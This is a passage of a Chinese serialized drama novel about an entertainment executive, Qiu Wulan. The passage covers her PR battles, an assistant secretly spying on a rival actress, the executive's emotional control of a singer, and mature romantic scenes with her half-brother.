季尧控制不住溢出心脏的欣忭,舌尖舔舐着邱芜澜的唇,渴望吸吮她的唾液。 邱芜澜无可奈何地推开他,“我必须走了。” 如果是华君润,断然不会允许她在家里装上三十几个摄像头。 季尧实在省心得让她欣慰怜爱。 为此,她必须撑下去,不惜一切代价将这次公关推行到底。 “邱总,网上已有小规模的黑帖,在拿董事长的私生活做文章。” 邱芜澜刚到公司,就被公关部经理找上。 他的表情很不好看,言语之间都是对邱芜澜的指责,“当初我就不建议您这样做,安全事故是个炸弹,解除了就赶紧收手。我也理解您想趁机提升集团的口碑,挽回一点损失,但我们的对手难道会坐以待毙吗?” “您这样大张旗鼓的营销,他们稍微放出一点黑料,我们就会数倍反噬。” “现在夫人被您捧上了天,但凡流露出一张董事长和女人的私密合照,全网都会义愤填膺地指责董事长。”他扶额,“再接下来想都不用想,他们一定会翻出您和那些男星的绯闻,给秋叶集团扣上一顶管理层私生活混乱的帽子。” “这些事情您做之前都没有想过吗?就算您没有想过,营销部也给过您风险评估书了,您为什么不看呢。” “现在火烧到邱董事长身上了,您说该怎么办!” 邱芜澜安静地听他说完,末了,开口,“听起来,比起秋叶娱乐,您更在乎秋叶集团;比我的私生活丑闻,您更在乎董事长。” 公关部经理一怔,陡然意识到自己的言辞过于激烈了。 他回避了她的目光,“集团出了事,我们难辞其咎,我也是担心您被董事长问责。” “这很少见,”邱芜澜道,“上级决策出了问题,下级要么明哲保身,要么提供挽救方案;可您——却推开我的办公室,对着我劈头盖脸一顿言之无物的指责。” “我没…” “您在这件事上似乎很有底气,教训我的时候简直像是我的至亲长辈。” “抱歉,”公关部经理不自在道,“您的年纪和我女儿相仿,我下意识把您当做自己孩子了。” “是么,”邱芜澜懒得戳破他和邱岸山的关系,“事已至此,您打算给我什么建议,是要我停下所有运作么。” “我……”对方哑然。 热度摆在那里,秋叶如同上了轨道的火车,已不是他们想停就能停下。 这时候撤回公关,他们只会被竞争公司黑得体无完肤。 “到了这个地步,任何人都没有办法解救了,希望您能吸取这次。”公关经理梗着脖子道,“下次再有类似的情况时,多听听旁人的意见,见好就收,不要弄得整个集团都下不来台。唉,这个月的支出,我都不知道该怎么上报。” “既然您没有改善的建议,那就按照我的方式做。”邱芜澜道,“账怎么走、批不批,不是您要考虑的,您只管写清楚金额和事由。” 她送走了公关经理,浏览这段时间的公关账目。 买个热搜当然不难,难的是和同级别的对家公司展开舆论拉锯。 这是和赌博无异的无底洞,偏赶上她要推行影视城计划的时候。 邱家人很多,慈善家不少,她选择拿母亲作势,不单是死者为大、逝去的人比活着的人更有分量;关键还在于,邱芜澜无力独自承揽这场公关费用。 她需要一个合伙人与她分摊开销。 最合适的人选,无疑是邱岸山。 邱锦毕业后待在庄园,她足不出户,何况又去世十数年,早已没有黑料可挖。 她完美无缺,善良、纯洁,生命垂危时还在挂心慈善事业。 邱芜澜全力将邱锦捧上神坛,要所有人的注意力都集中在邱锦身上,这时候只要爆出一点邱岸山对不起前妻的黑料,所有民众都会被煽动。 如果邱芜澜是秋叶的竞争对手,她一定不会放过这个机会。 对家企业们也的确按照邱芜澜所想的方向行动了起来。 《邱岸山三人行》、《妻子躺在病床上,丈夫躺在小三床上》、《邱锦悲惨的一生》、《豪门主母不为人知的心酸》、《婚姻为女人带来了什么》…… 她划过那些帖子,每一条标题都万分醒目,连她都觉得有些刺眼了。 涉及邱锦的事,她不需要处理,邱岸山一定会解决这些帖子,删帖的过程中,他势必要镇压竞争的黑稿。 如此一来,这部分开支,就不需要秋叶娱乐来出了。 常理而言,公关经理说的没错。 安全事故是一颗炸弹,处理时务必要万分小心,见好就收。 但这次有些不同。 邱芜澜要启用季尧。 如果这场公关不能为集团带来任何好处,那所有的开销费用会全部算到季尧头上。 他的身份本就尴尬,要是再背上惹祸的负面形象,往后在公司里会寸步难行,根本无法开展正常工作。 邱芜澜必须把这笔支出扭转为正面的收益性支出,全面提高秋叶集团的知名度和口碑,让这笔钱看起来花得合理、值当。 邱岸山是否洞察她想法,不重要,邱芜澜并不担心他不上套。 一来,这些负面舆论涉及集团和他个人形象; 二来,她很确定邱锦对邱岸山的重要性。他绝不会允许有人否定他们的婚姻,更不会让大众认为邱锦嫁给他是可悲的。 和自己的妹妹结合,这是邱岸山心目中仅次于继承秋叶集团的荣耀。 邱芜澜等待着。 黑稿从早上九点开始冒头,在角落里发酵了几个小时,午休时分摸上了热搜尾巴。 下午三点,她刷了下云书,已搜索不到相关信息。 云书上挂着的依旧是邱锦的慈善成就、是她令人惋惜的病情,以及她婚后幸福美满的生活。 看着新增的热搜话题,对着那张邱锦身穿婚纱、笑意盈盈挽着邱岸山的结婚照,邱芜澜说不出的隐隐不适。 胸口有些发闷,她蹙了蹙眉,手机顶部弹出一条消息。 指尖微顿,几次呼吸之后,她终究还是点了开来。 弹窗扩大,跳转至她和邱岸山的聊天界面。 没有任何铺垫,他发来了一条没头没尾的短讯—— 「我的天使,我爱你」 邱芜澜紧紧闭上眼,隔断这行文字。 脑海中,邱岸山笑意深长的脸却挥之不去,霸占了她的全副思绪。 第99章 第九十九章 “怎么可能……” 宋折凝不停刷新着云书和论坛, 如此重大的安全事故,她乘势转发才不过半天,全平台就无人关注了。 “邱夫人真是红颜薄命, 太可怜了。” “我姥姥得过她的病,走的时候拉着我们的手, 求我们给她一个痛快,邱夫人居然在化疗的时候还给留守儿童回信, 为什么这世上总是好人不长命呢。” “难怪邱芜澜对季尧这么溺爱,原来是妈妈生前最后的嘱托。” “看了邱芜澜邱承澜和邱家几个人的履历,真的窒息, 我要是季尧, 我也自卑。” “楼上, 别人优秀不是你做坏事的理由。” “秋叶和红丝鸳真是倒霉啊。” “请大家支持5月1日《红丝鸳》!” “请大家支持5月1日劳动节不调休!” “为什么会这样!”宋折凝猛地扭头, 看向芳若, “这么大的事故, 怎么转眼就没影了!” 芳若无奈, “您也不是不知道秋叶的实力,早晚会平息的。” “他们也太无法无天了吧!连出人命的事情都能随意翻篇,这世上还有王法吗!” “怎么能说是随意翻篇呢。”芳若安抚道, “这么快的速度, 一看就知道砸钱不少。” “再说, 从前谁不知道邱芜澜疼爱季尧,现在呢, 捧在掌心的世子爷成白眼狼被封杀了。邱家要真无法无天, 邱芜澜也就不用弃车保帅了。” “她也真够狠心的。”听到这里,宋折凝稍冷静了一些,眼里划过复杂的厌色, “那样爱护的弟弟说丢就丢,这么想想,我这个外人倒不算冤枉了。” 蓝海票房出来后,宋折凝一直在等消息。 她听说了秋叶集团Q1会议上的某些事情,这段日子时刻留意着手机。 当初对她不以为意,现在看见她这么成功,那些姓邱的肯定坐不住。她没有回秋叶的打算,但十分期待看见矜贵高傲的邱芜澜对她道歉、恳求的模样。 这一幕宋折凝想了太久了。 即便是没有离开秋叶的时候,她也很不喜欢邱芜澜那副高高在上的模样。 其他年轻人都巴不得和她攀关系,邱芜澜却对她的示好视若无睹。 宋折凝请她逛街,十次里五次是不来的,来了也只是不冷不热地坐着。 宋折凝多少次想象过,她要把邱芜澜这幅不食人间烟火的模样撕下来。 她软硬兼施地逼她对自己服软,可即便邱芜澜无可奈何地低头吃下她举起的蛋糕,她的低头也充满向下的“宽容”。 宋折凝等着邱芜澜真正向自己低头。 在国外蛰伏的时间里,她就想好了那一幕的自己该用什么表情、说些什么。 邱芜澜一定后悔极了,看在邱家的份上,宋折凝也无意把事情闹得太难看。 只要她对她道歉,认识到自己从前对她的怠慢忽视,她也不是不能原谅她,偶尔有空的时候,也可以和她同屏出现,让她洗白“欺负元老”的骂名。 只是过去好几天了,她还没有收到秋叶或是邱承澜的消息。 他们大约是被安全事故弄得晕头转向了。 “咱们的目的也不是搞垮秋叶,”芳若上前,整理着宋折凝的造型,“宋姐,走好自己的花路才是真的。现在已经四月了,要赶上贺岁档,咱们也该开始想想下部片子拍什么了。” 宋折凝犹有些气不过。 当初她倒霉的时候,秋叶发两个云书,就能让她被骂上好几天,现在邱芜澜终于倒霉了,她带着新晋女导演的加成转发,却连几个小时都没有撑过。 “这世道可真不公平。”她长叹一声,“行吧,你说得对,蓝海成功后不少电影公司都找了上来,光是应付他们就够我烦的了。” “有蓝海这个招牌,这次他们给的条件优越不少。” “投资当然是多多益善,但是,我不打算再找保底发行了。” 芳若抬眸,“您不要保底了?” 宋折凝颔首,“你也看到了,蓝海因为保底发行吃了多大的亏,大头全被东宝拿走了。” “这才是您导演的第二部戏,会不会太冒险了?” “开过来的保底价普遍在二十亿左右,二十亿——”宋折凝嗤笑,“我三十岁后演的电影,票房就没有低于二十五亿的,真是看不起我。” “从前毕竟有秋叶兜底,宣发、制作都是顶级配置,您完成对赌之前,华映可不会给您这么好的资源啊。” “别提秋叶了行不,”宋折凝啧了一声,“我正烦他们呢。” 芳若笑道,“我也就是给您提个醒嘛,现在不用被秋叶管着了,决定权当然在您手里,您怎么说,我们就怎么做。” 她挨着宋折凝坐下,“这次打算拍什么?” “你说的风险我也不是没有考虑过。”宋折凝看向她,“既然不走保底发行了,那选材上就要保守一点。贺岁档,我准备出阖家欢的喜剧片。” “剧本有了么。” 宋折凝颔首,“我正要和你说,我收到了两个本子,一个是黄钰的,另一个是个影大学生。” “学生?”芳若微讶,“什么学生作品,能让您觉得可以和黄钰相比了。” “来,”谈到正事,宋折凝起身,招呼芳若,“你也帮我看看,哪个好。” “我可看不懂。”芳若推辞,“非要我选,那肯定是选黄钰的,人家是有名的编剧。” “你先看看。”宋折凝点了点另一本,“就是因为写久了、有名气,所以都套路化了。学生的作品虽然稚嫩,却让我眼前一新。” “您都这样说了,那我就回去琢磨琢磨,看完了和您分享心得体会。”芳若笑着,收下了两本剧本,“不过事先说好,我可不懂电影,该怎么选您不用听我的,到时候成绩不好,也别怪我。” “我可不是那种人。”宋折凝叮嘱:“你好好看啊。” 芳若将剧本放进包中,开始向宋折凝做收尾的汇报,“卡诺在下周五插了个单子,我调整了您下周的行程。您看这样合适么。” 宋折凝拿过她的手机,眯着眼看了会儿行程表,“周五可以,周六不行。” 芳若调开编辑模式,“您周六有其他日程了么?” 宋折凝笑道,“我女儿考试进步了,我周六带她出去玩,和我那前夫一起。” 芳若记录的动作一顿,温声提醒:“宋姐,您最近的行程都很紧,周五插单后,只有周六有整块的时间可以和SP聊新曲了。” “我知道,但都答应孩子了,做妈妈的总不能失信吧。”宋折凝摆手,“你去协调下,再约个时间,实在不行就把那些小单子推了。赌约再重要也没有孩子重要。” 芳若指尖停在编辑界面上,眸色微黯。 片刻,她应道,“那我去和老师协商下。” 和宋折凝确定好下周行程,芳若结束了今天的工作。 从中心区驱车一个半小时到家,门甫一打开,争先恐后窜出两声“妈妈!” 芳若弯腰,一手扶住一个,“作业写了吗?” “写好了!”两双相似的稚嫩眼睛同时望着芳若,抢着告诉她,“还有一个社会调查没做。” 芳若带着自己的两个孩子往屋里走,“什么调查?” 八岁的大女儿迫不及待地说话,“老师让我们采访和大自然有关的工作者。” “大自然?” “我同桌说他爸爸带他去农场,采访挤牛奶的叔叔。” “晓月说他们要去沙滩采访环保志愿者!” 芳若听懂了,“好,让妈妈想一下。” 上小学后,两个孩子的作业总是稀奇古怪。 芳若不是很能理解学校的用意,但那是邱芜澜侄子都在上的学校,一定不会有错。 “肚子饿了吗,”她揽着两个孩子去沙发上,“晚上想吃什么。” “披萨!” “妈妈先去洗澡,”芳若给两个孩子把电视打开,“看会儿电视,吃完后把作业拿出来,我检查。” 小女儿跪在沙发上,巴望着难得在晚餐前就见到的芳若,“妈妈,你今天晚上要在家里吗?” “对呀妈妈,”大女儿也惊奇,“今天宋阿姨不找你吃饭吗?” 芳若解衣服的动作一顿,哂笑,“看情况吧,你宋阿姨今天应该不会再叫我了。” “那下周家长开放日妈妈你会来吗?老师说,全班同学的家长就只有你还没有确定了,让我们问问你。” 芳若敛眸,推开卧室门,“我一会儿会回复你们老师的。” 反手关门,她脸上的笑意退去,留下奔波一日的疲态。 放下包,芳若从柜子里取出另一只手机,将两份剧本一一扫描,传给手机里唯一的联系人。 扫描之后,她把两份剧本锁进柜子里,踏入浴室,打开了花洒。 三年前,芳若进入宋折凝的团队。那时候的她还只是个小助理,除了跑腿的指令外,宋折凝从不会和她说话。 原来的经纪人岚是个聪明人,宋折凝离开秋叶,她见势不对马上跑了。 那时身陷秋叶舆论攻击的宋折凝脾气爆得很,几个小助理没有一个能撑得下去,只有她坚守在宋折凝身边,安慰她、鼓励她,陪伴她出国,昼夜不分地围着她打转。 宋折凝看着唬人,摸透了性格后,应付起来还算容易。 芳若随她出国,为她鞍前马后地组织电影拍摄,又陪着她回国。 有了这一年的患难与共,宋折凝对她可谓是信任有加,从不在她面前藏秘密——虽说那个女人头脑简单,对外也没怎么藏过秘密。 偶尔在宋折凝对她说心里话时,芳若也会感到些许愧疚。 可在从钱秘书那里收到一笔笔打款后,那些愧疚便荡然无存。 入职秋叶娱乐、进入宋折凝的团队,本来就是邱承澜安排给她的工作任务。 宋折凝一年赚的钱她一辈子都难企及,她就算就此退圈,手里的钱也足够潇洒一辈子,哪里轮得到她来可怜她。 说到底,这场商业竞争,宋折凝一开始就选错了赛道。 红极一时的明星,在财阀面前不过是个销量好的玩具而已,随时都能被商家下架。 宋折凝太贪心,也太自不量力,连谁对她好、谁在坑她都看不清楚。 这不是她的错。 芳若踏出浴室,手机顶部弹出了银行卡的到账信息。 确认了一遍到账的数字,她脸上的疲惫消退不少。 “妈妈!”门口探出小女儿的侧脸,“披萨到了吗?” 芳若回身,笑道,“快了,骑手叔叔已经到小区了,你和姐姐去洗手吧。” “好耶!” 芳若挑眉,好耶? 最近两个女儿总是说这个词,不知道是不是又是班里的流行。 “好耶”总比什么“奥力给”“老六”“我操”要好。 过年回娘家时,和女儿们同龄的小孩口中全是这种低俗的网络语,听得芳若直皱眉。 就着银行发来的短信,芳若确认了一遍自己的存款数目。 给孩子报名小学时,她还沾沾自喜,觉得名门学府不过如此,只要自己工作努力些,完全可以支付得起学费。 这种想法在入学一学期后,烟消云散。 芳若叹息。 顶级的贵族学校,贵得原来不是学费,而是时间。 下周插了一档商单,周六宋折凝又不肯工作,要陪自己女儿,剩下六天无论如何调不开。 家长开放日她怕是去不了,得联系下妹妹。 不能总是让保姆去,每次都是保姆,老师和其他学生家长见多了就会知道,她们家没什么亲朋好友,而她也不过是个连时间都无法自由支配的底层打工仔。 芳若将这部手机连同剧本一起锁进柜中,她拿起日常使用的手机,想看一下外卖的配送进度,却在解锁后,看见了一条推送弹窗—— 《季语薇新专辑销量破300万张》 …… “喂您好,请问是《CK时尚》么,这里是秋叶娱乐季语薇团队。” “您好,季语薇团队,请问是亚联音乐节主办方么。” “余老师您好,这边是季语薇团队。” 秋叶娱乐ASHS楼层深处,占据面积最大的办公区里异常忙碌。 “我们想和贵社商量下,接下来三期的封面都由我们语薇承包。” “我们希望能作为倒数第二位的压轴出场。” “不知道余老师下周有没有档期,语薇姐想邀请您作为助战嘉宾一起出席《singer》。” 季语薇站在办公室内,隔着单向玻璃墙望着外面的支援小组。 从这个角度,她能全览整个办公区,将所有员工的状态收入眼底。 “是的,我们知道还没有艺人连续包揽《CK》三期封面,但贵社也没有规定禁止三联嘛。” “如果主办方能帮我们语薇协调到压轴、多给一些便利的话,我们也会考虑抽2个点的秋叶3C用户推送亚联音乐节相关咨询。” “明白、明白,余老师德高望重,隐退多年了,要请余老师出山,我们自然是准备了足够的诚意。” 季语薇紧绷着脸,这紧凑有序的场景并不能让她松弛宽慰。 那张清媚的脸阴沉如水,透过办公区,阴鸷地望向落地窗对面的CBD中心。 作为瑚城金融中心标志之一的3D巨幕大屏,每隔两小时就会出现一次宋折凝的投影。 这个频率,比她离开秋叶时提升了67%。 “语薇姐。” 助理敲门进来,面带笑意,“我交代Erica留下了,今天您就早点下班去庆功宴吧。” 她看不见季语薇的表情,只能看见她站在桌后,一言不发地面朝工作区的玻璃墙。 “语薇姐,”助理放轻了语调,“别想工作上的事了,新专辑的销量这么好,破了州地区300万的最快记录,大家都等着和您一起庆祝呢。” “没别的事就出去。” 那副嗓子实在动听,少有人能发出这样冰凉的音色,空灵清淩,晶莹如冰。 “庆功会都准备好了,音乐公司还有投资方来了不少人,您缺席的话…” “出去!” 季语薇低喝,双拳紧握,死死盯着巨屏上的宋折凝。 女人一身高定礼服,画着极具高级感的妆容。 一年半过去,没有了邱芜澜的宋折凝比从前更加冷傲得意,纹丝不动地站在国际金融的中心收割着名利。 十五秒的广告过去,季语薇垮下双肩。 她调整着呼吸,陡然间听见了脚步声。 “你怎么还在…”余光回转,出口的话语戛然而止。 季语薇后退半步,难堪地别开视线。 办公室门口,邱芜澜静立着。 她抬手,示意左右为难的助理出去。 助理忙不迭失地躬身退出,将门带上。 “我听说《Ttalk》的事了。”她朝季语薇走去。 季语薇咬牙,三天前发生的那档访谈,成了她彻夜难眠的耻辱。 出道十五年,季语薇第一次被无视得如此彻底。 两位主持人从头到尾都在热切提问宋折凝,一档真人观察秀,生生成了宋折凝的导演访谈。 《蓝海》刚揽下多项大奖,季语薇做好了宋折凝大出风头的准备,可作为唯二的嘉宾,整整四个小时的录制,她竟然没有一次主场。 录制到结束,给到她的问题只有两个—— “如何看待《蓝海》” “印象里的宋折凝是什么样子” 季语薇已想不起自己是如何忍耐着完成录制的。 回到家,她砸了整个地下二层的瓷器,可是没有用。再多清美的碎瓷声都洗涤不去怨毒和怒火。 宋折凝、宋折凝……为什么每一次的聚光灯都要打在那个女人的头顶! 她的每一次出现,都让季语薇觉得这个世界是本烂俗小说。宋折凝是逢凶化吉、运气爆破的女主角,而她是个无论如何挣扎都无法超越女主的炮灰配角。 “这期《Ttalk》会在《singer》开播后的第二天播出。”邱芜澜开口,“还记得你和宋折凝夸张的票数差么。物极必反,这未尝不是一件好事。” “可我好恨,”季语薇掩着朝向邱芜澜那侧的脸,“芜澜,我好恨……我才是你第一个艺人,可大家只知道宋折凝、宋折凝宋折凝!” 泪水断续从她指缝渗下。 季语薇本不想哭,可新专辑破记录这件荣誉将一些陈年的回忆勾起。 “我第一次拿金梅奖的时候,你在陪宋折凝出席百闻奖;我独自出国、第一次世界巡演的时候,你为宋折凝开办了全国演唱。” “银幕上,我一直是一个人……”愈多的酸楚顺着莹白的小臂蜿蜒成曲,“每一次,业内提到你的成就时,伴随出现的永远都是‘宋折凝’三个字。” “没有人知道我的存在,就连宋折凝离开秋叶,他们说的也还是‘宋折凝邱芜澜十年感情破裂’‘邱芜澜一定很后悔’。” “芜澜,你是不会错的。”她垂下掩饰懦弱的那只手,泪光涟涟,撑起一抹牵强的笑,“所以,是我一直自欺欺人么—— “被你雕琢了十年的那个人原来不是我,其实宋折凝才是你倾尽所有的结果。” 她绞尽脑汁、付出了一切,才引起了邱芜澜的注意;而宋折凝只是站在那里不动,就有邱承澜为她助力。 也许这就是命,有的人天生就是的女主角——好,她得到了邱承澜的青睐,那就滚去邱承澜怀里啊!为什么要抢她的芜澜! 没有人知道季语薇和邱芜澜的过去。文字、图片、视频、网媒、纸媒……这个世界记录下的,只有邱芜澜和宋折凝携手并肩的十年。 哪怕她们公开破裂、哪怕她们相互伤害,都成为了一种津津乐道的羁绊。 她算什么呢…… 她真的是邱芜澜最满意的作品么…… 也许那十四年只是她一个人的妄想,也许真的像那些八卦帖子所说:宋折凝是因为吃季语薇的醋,和邱芜澜闹脾气,等着邱芜澜哄她回去,季语薇不过是她们之间的游戏道具。 “我没想到,你会有这样的想法。”邱芜澜抬手,覆上季语薇濡湿的面颊。 “我不能否认我对宋折凝的用心,她曾是秋叶的标志,是我在公司里最重视的项目。” 新一股热流自季语薇眼角涌至邱芜澜指上。 “但正如你所说,语薇,你才是我挖掘的第一个艺人,是我在接手娱乐公司前,就愿意打造的星星。” 邱芜澜阖眸,抵上了季语薇潮湿的额头,“你想知道你和宋折凝在我心里有什么不同?” “宋折凝背叛我,令我郁闷又愤怒;可要是有一天,你背叛了我——” “语薇,我会感到痛苦。” 季语薇瞳孔微缩。 玻璃墙外忽而骚动起来。 她愣愣扭头,循声望去。 华灯初上,最后一抹落日的余光隐匿西山。 落地窗外,漫天蓝色的玫瑰如点点灯火,飘升至鸦青色的苍穹。 这壮观的天空花海令所有人驻足。 瑚城金融中心的3D裸眼巨屏开满了玫瑰,浮动的蓝色妖姬之间,是季语薇的投影。 隔着两道玻璃,熟悉的旋律朦胧传来。 新专辑一共六首歌曲,总时长十九分半。 八点半,在这个瑚城最熙攘的时刻,全城大小广告屏的十九分半都被季语薇霸占。 她呆愣地望着窗外壮丽的花景,耳边传来清浅细语。 “新专辑的成绩,我很喜欢。”她拂去她眼角的泪,“你在《Ttalk》上的表现,我也很喜欢。” 季语薇一怔,自烂漫的花海中猛然回神。 她对上了一双属于支配者的眼眸。 邱芜澜没有解释,只是为她整理妆容,像是售货员调整着洋娃娃的造型,仔细而用心。 “该走了,语薇。庆功会来了不少人,别让合作方们久等。”她理顺她的头发,后撤一步,展眉微笑,“真完美,可惜眼睛有点红了,会让人担心。” 完美两个字,成了某种特殊的指令,电流般穿过季语薇的大脑。 [她是完美的作品,没有瑕疵,不容失误] 季语薇握住邱芜澜的手,扬起楚楚的笑容,“毕竟是破了州记录的专辑,换作哪个歌手都会忍不住哭的。” 邱芜澜颔首,“很好。” “走吧。”她率先转身,朝季语薇伸手,笑道,“趁着我给你的花还没有落。” 第100章 第一百章 新专辑的庆功宴规模无比庞大, 它更像是一场招标会。 秋叶邀请了诸多音乐、影视公司,以及高奢企业,以新专辑为标书, 为季语薇和秋叶娱乐招揽合作与投资。 不少人都注意到了季语薇泛红的眼睛。 出于礼貌,人们不免关心询问几句, 在听到季语薇回答说,这次成绩太好、太过激动后, 众人纷纷笑着附和,跟着夸赞起她的专辑和庆功会前那场遍布全城的蓝玫瑰景。 “我还是第一次看见这个场面。”跟着一起参宴的女星羡慕中带着点酸意,“CBD那个巨屏建起来到现在, 恐怕也没有过霸屏二十分钟的壮景。” “是啊, 宋折凝破三百五十万那次, 公司也就是投了她的一首新曲。” “那次是两年吧, 语薇可是六周破的三百万, 这种现象级的体量, 全球一共也没几个歌手可以达到。” 季语薇勾唇。 她早已听惯了谄媚吹捧, 但此时围绕着她的都是秋叶的一二线明星。这个级别的艺人,每一个都经过了邱芜澜的亲自筛选。 比起普通人,来自经邱芜澜认可的同行的讨好, 令季语薇感受到了更为强烈的满足。 “就是说呀, ”女星们掩着唇, 谈笑一处,“网上总有人说公司偏爱语薇、其他艺人嫉妒什么的, 我就一点不眼红。六周三百万张的成绩, 霸屏二十分钟算什么,我要是邱总,我直接把公司大楼外墙刷上语薇的照片。” “好啊, 我记下了。”季语薇笑,“什么时候做了老板,我第一个跳槽你那儿。” “对了,邱总呢。”有女星转身回望,调侃道,“开场这么久了,也不过来敬我们的功臣一杯酒,真不懂事儿。” “喏,那里呢,和王总他们一起。” 她们张望着,在对面自助冷餐桌旁看见了邱芜澜。 相隔不过二十米,双方像是隔了楚河汉界。 季语薇这里春光明媚,别出心裁的各式华美礼服如花绽放;邱芜澜身旁则是清一色的西装革履,灰白青黑相交。 鲜艳和冷淡的色块泾渭分明。 隔着人群,邱芜澜却在短短几秒内有所察觉,敏锐地朝季语薇这边望来。 季语薇勾起耳边的碎发,拿了一支香槟。 她离开了锦簇的花团,主动跨过那条无形的边界,进入了冷色单调的世界。 这是邱芜澜的世界,站在这里,所见所闻皆与普罗大众不同。 这才是季语薇想要立足的世界。 …… 一场庆功宴,让秋叶签下了价值超亿的商单。 作为主角的季语薇不必多说,在她的光环惠及下,秋叶其他艺人也收获颇丰。 六周破300万的辉煌成就吸引了不少人,但参宴者不全都是为了艺人而来,这次的席会,邱芜澜亦有收获。 到家已近凌晨。 她开门之前,门从内打开。 温热的躯体拥抱了邱芜澜,她耳畔传来委屈的呼吸,“姐姐,好晚。” 邱芜澜拍了拍季尧的背。 他克制地松开她,向后退去,却在撤步之际被邱芜澜偏头吻上。 季尧旋即弯眸,顺从地张嘴,吞食邱芜澜的唾液。 他痴迷于接吻,不仅因为邱芜澜吻技纯熟,让他舒服快乐;更因为这是情妇的儿子前二十年人生都不被允许的禁忌。 他沉醉在邱芜澜的吻中,并不知道这个接吻频率对邱芜澜来说一样的不同寻常。 和季尧一样,邱芜澜压抑已久。 而今,季葶不再是邱岸山的情妇、不再居住在邱锦的庄园; 而今,季尧的病情危急,他需要她。 邱芜澜隐隐意识到,分离焦虑症或许只是她为自己找的借口而已。 她借“为季尧治病”的力量迈过了那条红线,发现无有恶果发生,便一发不可收拾。 社交了一整天,她本该感到疲惫,身体却在被季尧抱住的刹那升起熟悉的躁感。 瘾症加重了。 比和韩尘霄、华君润在一起时,严重了两倍不止。 她搭着季尧的肩胛,唇角牵出毫细的银丝,“一起洗吧。” 从玄关到浴室,再到卧房。 邱芜澜坐在季尧身上,撑着他的胸膛,轻薄的男式开衫散落在地。 “不是说了让你别穿么。”她蹙眉,不满意他的不听话。 季尧低喘着,“姐姐一直不回来,我想去门口看看。” “庆功会上集团来了人…加上公司的几个,一起喝了杯茶。”邱芜澜俯身,秀发垂下,拂过季尧紧实的胸腹,“张嘴。” 季尧依言启唇,触到的却并非邱芜澜的嘴唇,而是纤长的手指。 她用三指撑开他的口腔,放任涎水自嘴角淌下,黏腻地打湿脸颊。 “恭、恭喜姐姐……”季尧迷醉地弯眸,发出含糊的声响。 邱芜澜望着他,身体被瘾症控制,无法停下,但那双黑眸是清醒的,无有半分浑浊的情.欲。 “只是为了宋折凝,值得么。”她问。问自己和季尧。 为了阻止宋折凝回来,她不得不拉拢股东,得到反对哥哥的票数。 那些从前就蠢蠢欲动的人们,在集团大会后如雨后春笋不断冒出,自她在饭局上接受了公司内部管理层的示好后,投名状更是源源不断、纷至沓来。 今天这场庆功宴上就有不少人前来和她攀谈。 有在哥哥身边不得重用的;有挤不上哥哥的船,就转头攀附她的;也有哥哥的竞争对手,见他们滋生嫌隙,试图通过支持她来削弱哥哥。 各式各样的人、各种各样的原因,将邱承澜以外的势力聚拢到了邱芜澜身边。 她又开始踌躇不前,担心自己和这些人走得太近,会让哥哥伤心,也让外界生出邱家不合的谣言。 腻滑的舌尖擦过邱芜澜的指腹,她松了力度,季尧执着她的手腕,扭头清理她指上的水液。 “姐姐,不要这么想。”他吸.吮着,“就算生出些许谣言,能掌握承澜哥敌人的动态,也是划算的。” 邱芜澜指间微收。 “如果没有姐姐,那些人会像蟑螂一样分散在各处角落,无人知晓具体数量;与其这样,不如由姐姐统一掌握。” 他在邱芜澜的小臂内侧落下一吻,“宋折凝,是个机会。” 这是邱芜澜未曾想过的方向。 一直以来,为了让哥哥放心、为了邱家的和睦,她都极力避嫌,不和邱承澜的敌对势力接触。 她从不曾、也没敢想过和邱承澜不合的发展道路。 邱芜澜望着身下的季尧,“如果哥哥当真了呢。” “不会的。”季尧压下翻滚嫉恨,向邱芜澜毫无保留地剖开心腹,“就算承澜哥真的误会了……只要姐姐的一个拥抱,他便能理解姐姐的苦心。” 就这样轻巧么? 压在她心头十年、二十年的重量,就这样轻巧地在季尧言语间厘清。 邱芜澜眸色幽深晦暗,明明灭灭,情绪几经更迭,最后化作绵长强势的深吻。 “阿尧。”她在他耳边低吟,“快点好起来。” 她等不及要用他了。 一场开遍瑚城的玫瑰海让季语薇和她的新专辑再度爆红。 新专辑的销量刚刚进入平缓期,在这盛大的营销刺激下,又出现小幅回升。 热度未散,新一季的《singer》开播。 作为音乐类数一数二的综艺,这一期又有季语薇和宋折凝双强加盟,《singer》收视率空前高涨。 然而,第一期便叫全网观众大跌眼镜。 五百名观众,五位导师,其中三位的喜爱度票数都在一百左右的平均数上,唯有季语薇,仅得三十七票,与排名第一、获得两百余票的宋折凝形成鲜明对比。 第一期还没播到一半,《singer》就被冲上了热搜。 “37票?逗我?” “一个六周卖出300w张专辑的歌手,在内娱音综里排名倒数,这合理吗???” “给不太清楚的路人科普一下,全球音乐榜上,专辑销量达到300w张的歌手只有16位;在两个月内达成300w的,只有5位。所以别再说什么狂热粉刷数据了,这个数据要是能刷出来,数量就不会那么稀少了。” “来参加的导师都是同级别的歌手,为什么只有语微数据会差成这样?比第四名少了整整五十票!” “之前说秋叶扶持季语薇打压宋折凝,看这票数,宋姐是在报复之前的不公平待遇吗?” “代入复仇虐渣剧情是挺爽的,但是这么做是不是太明显了[笑哭]” 惊人的票数差让网民一时没能反应过来,季语薇粉丝又气又心疼,可在《蓝海》加持下,宋折凝收割了大波路人好感度,天平并未向季语薇倾斜,吃瓜坐观扯头花的想法占据了主流。 三天后,新一期《Ttalk》随之播出。 作为真人观察秀节目,《Ttalk》每期由两位主持和两位飞行嘉宾一起在观察室里观察吐槽真实场景。 节目主打搞笑吐槽,而搞笑和吐槽往往很难把握尺度。 来参加的嘉宾水平参差不齐,在几次嘉宾言语不当后,节目流失了大量观众。 为了挽回流量,如今节目组经常挑起争议性话题,靠着老观众和时不时的爆点存活下去。 这一期的《Ttalk》再度因为争议引起了热议。 “够了……我是来看搞笑点评的,不是来听宋大导演的获奖感言的。” “烦死了,蓝海蓝海蓝海,都小半年了,宋折凝是只有这一个作品了吗?” “哇,主持人太强了,我打死都想不到看个菜市场买菜,也能‘拍电影选角色就像买菜一样,请问宋导当时是如何挑选出女主角的呢’。” “语薇呢语薇呢语薇呢?我们家小雨为什么完全没有镜头!” “什么?这期还有季语薇?” “呜呜呜,我看完了,全期小雨一共就被cue了两次,第一次是‘如何看待《蓝海》’,第二次是‘印象里的宋折凝是什么样子’。感觉小雨最后都要哭出来了。” “好像真的哭了,强颜欢笑说宋折凝是自己尊敬的前辈时,声音都哑了。” “冷板凳几个小时,中间试图融入话题还被打断,要我早就走人了,什么破节目,还玩冷暴力。” “捧宋折凝我没意见,作为女导演她确实很优秀也很不容易,但没必要踩着别的女艺人上位吧?访谈还不够她说的吗?这是在干嘛啊?” 